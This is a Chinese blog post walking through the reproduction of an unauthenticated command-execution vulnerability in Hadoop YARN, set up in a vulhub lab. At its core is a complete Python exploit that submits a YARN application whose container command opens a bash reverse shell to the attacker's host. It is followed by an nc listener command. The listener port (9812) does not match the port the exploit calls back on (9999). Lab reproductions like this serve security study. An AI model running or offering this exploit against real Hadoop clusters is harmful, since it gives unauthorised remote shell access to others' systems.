漏洞复现-hadoop-命令执行

     

0x00 实验环境

攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

 

0x01 影响版本

hadoop 3.3.0以下

vulhub版本为2.8.1:

漏洞复现-hadoop-命令执行

 

0x02 漏洞复现

(1)访问/cluster/apps页面:(该页面存在说明存在未授权访问漏洞)

漏洞复现-hadoop-命令执行

 

 (2)使用以下官方exp反弹shell

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

 

执行该exp:

python3 unauthorized-yarn-hadoop.py http://xxx:8088 #执行Exp

 

(3)攻击机开启监听(执行exp之前开启监听):

nc -lvvp 9812

 

漏洞复现-hadoop-命令执行

 

 

 (4)会话获取成功:

漏洞复现-hadoop-命令执行

 

上一篇:Nginx平滑升级和回滚


下一篇:14 django App整合到apps文件夹